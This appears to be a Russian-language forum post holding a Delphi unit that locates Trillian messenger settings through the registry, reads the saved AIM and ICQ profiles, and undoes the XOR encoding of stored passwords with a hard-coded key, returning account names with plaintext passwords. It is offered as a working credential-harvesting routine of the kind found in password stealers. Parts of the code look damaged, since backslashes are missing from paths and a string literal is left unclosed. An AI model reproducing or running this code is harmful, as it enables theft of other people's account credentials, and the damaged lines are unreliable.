[Delphi] Дешифруем пароли Trillian

[WestSide]

unit TrillianDecrypt; 
interface 
uses 
 Windows; 

const 
  TXorData: array[0..15] of Byte = ($F3,$26,$81,$C4,$39,$86,$DB,$92,$71,$A3,$B9,$E6,$53,$7A,$95,$7C); 

function GetTrilPass:string; 
function SHGetSpecialFolderPath(hwndOwner: HWND; lpszPath: PChar; 
  nFolder: Integer; fCreate: BOOL): BOOL; stdcall; external 'shell32.dll' name 'SHGetSpecialFolderPathA'; 

implementation 

var 
  tril: string;   //Путь к файлу с пассами и уинами 

//В этой части рассшифровываются пароли 
function HexToInt(Value: String): LongWord; 
const 
  HexStr: String = '0123456789ABCDEF'; 
var 
  i: Word; 
  function AnsiUpperCase(const S: string): string; 
  begin 
    SetString(Result, PChar(S), Length(S)); 
    if Length(S) > 0 then CharUpperBuff(Pointer(Result), Length(S)); 
  end; 
begin 
  Result := 0; 
  Value := AnsiUpperCase(Value); 
  if Value = '' then Exit; 
  for i := 1 to Length(Value) do 
    Inc(Result, (Pos(Value[i], HexStr) - 1) shl ((Length(Value) - i) shl 2)); 
end; 

function HexToBuf(const Value: String; Buf: Pointer): Integer; 
var 
  i: Integer; 
  S: String; 
begin 
  Result := 0; 
  S := ''; 
  for i := 1 to Length(Value) do begin 
    case Value[i] of 
      'A'..'F', 'a'..'f', '0'..'9': S := S + Value[i]; 
      ' ', '(', ')', '[', ']': begin {do nothing} end; 
    else 
      Exit; 
    end; 
    if Length(S) = 2 then begin 
      PByte(Buf)^ := HexToInt(S); 
      Buf := Ptr(LongWord(Buf) + 1); 
      S := ''; 
      Inc(Result); 
    end; 
  end; 
end; 

procedure ICQEncryptPass(SrcBuf: Pointer; BufLen: LongWord); assembler; 
asm 
        or    edx,edx 
        jz    @@end 
@@loop: 
        mov   cl,[eax + edx - 1] 
        xor   cl,byte ptr[TXorData + edx - 1] 
        mov   [eax + edx - 1],cl 
        dec   edx 
        jnz   @@loop 
@@end: 
end; 

function HandleTrillianModule(name: string;value:string):string; 
var 
  len: Integer; 
  buf: array[0..32] of Byte; 
  function IsICQ(const Value: String): Boolean;  //Аська или не аська 
  var 
    i: Word; 
  begin 
    Result := True; 
    for i := 1 to Length(Value) do 
      Result := Result and (Value[i] in ['0'..'9']); 
  end; 
begin 
  len := HexToBuf(Value, @buf); 
  ICQEncryptPass(@buf, len); 
  buf[len] := 0; 
  if IsICQ(Name) then 
    result:='UIN('+Name+'):Pass('+PChar(@buf)+'); ' 
  else 
    result:='AIM('+Name+'):Pass('+PChar(@buf)+'); '; 
end; 

//Функция удаляет весь текст после "/" 
function RemoveLastSlash(target:string):string; 
var 
  i:integer; 
begin 
  for i:=length(target) downto 1 do 
    if target[i]='\' then 
    begin 
      result:=copy(target,1,i-1); 
      break; 
    end; 
end; 

//Получаем пароли и зашифрованные пароли 
function ReadTrillianIniFile:string; 
var 
  i:integer; 
  s:string;   //номер уина, макс выдергивает 16 штук 
  lpBuf1,lpBuf2:array[0..MAX_PATH] of char;//для пасса и уина 
begin 
  for i:=15 downto 0 do 
  begin 
    str(i,s); 
    s:='profile '+s; 
    GetPrivateProfileString (PChar(s), 'name', '0', lpBuf1, 1024, PChar(Tril)); 
    GetPrivateProfileString (PChar(s), 'password', '0', lpBuf2, 1024, PChar(Tril)); 
    IF (lpBuf1[0]<>'0') and (lpBuf2[0]<>'0') then 
      Result:=result+HandleTrillianModule(lpBuf1,lpBuf2)+#13+#10; 
    IF (lpBuf1[0]<>'0') and (lpBuf2[0]='0') then result:='UIN('+lpBuf1+'):Pass(нет); '; 
  end; 
end; 

//Главная функция. Получает местоположения файла с настройками 
function GetTrilPass:string; 
var 
  path: string;  //путь к настройкам 
  n,count:integer; 
  Profile:string;  //номер профиля 
  hkHandle: HKEY; 
  d:PBYTE; 
  BufSize:integer; 
  opt:string;  //путь к файлу с настройками 
  lpBuf1,lpBuf2,lpBuf3: array [0..MAX_PATH] of char; 
begin 
  d:=nil; 
  if RegOpenKeyEx(HKEY_LOCAL_MACHINE,'SOFTWAREMicrosoftWindowsCurrentVersionUninstallTrillian',0,KEY_READ,hkHandle)=ERROR_SUCCESS then 
  begin 
    BufSize:=256; 
    GetMem(d,BufSize); 
    RegQueryValueEx (hkHandle, 'UninstallString', nil, nil, d, @BufSize); 
    RegCloseKey(hkHandle); 
  end; 
  if pchar(d)='' then exit; 
  SHGetSpecialFolderPath(0,lpBuf1,$0005,false); 
  path:=RemoveLastSlash(lpBuf1)+'TrillianUser Settings'; 
  opt:=RemoveLastSlash(pchar(d))+'usersglobalprofiles.ini'; 
  count:=GetPrivateProfileInt('Profiles','num',d^,Pchar(opt))-1; 
  while count>=0 do 
  begin 
    tril:=''; 
    str(count,Profile); 
    if count>9 then Profile:='Profile0'+Profile else Profile:='Profile00'+Profile; 
    GetPrivateProfileString(Pchar(Profile),'Name', '-1', lpBuf1, 1024, Pchar(opt)); 
    GetPrivateProfileString(PChar(Profile),'Preferences Type', '-1', lpBuf2, 1024, PChar(opt)); 
    GetPrivateProfileString(PChar(Profile),'Preferences Location', '-1', lpBuf3, 1024, PChar(opt)); 
    val(lpBuf2[0],n,BufSize); 
    case n of 
      2: tril:=lpBuf3; 
      1: Tril:=path+lpBuf1; 
      0: tril:=RemoveLastSlash(pchar(d))+'usersdefault'; 
    end; 
    tril:=tril+'aim.ini; 
    result:=result+ReadTrillianIniFile; 
    dec(count); 
  end; 
end; 

end.

Memo1.Lines.Add(GetTrilPass);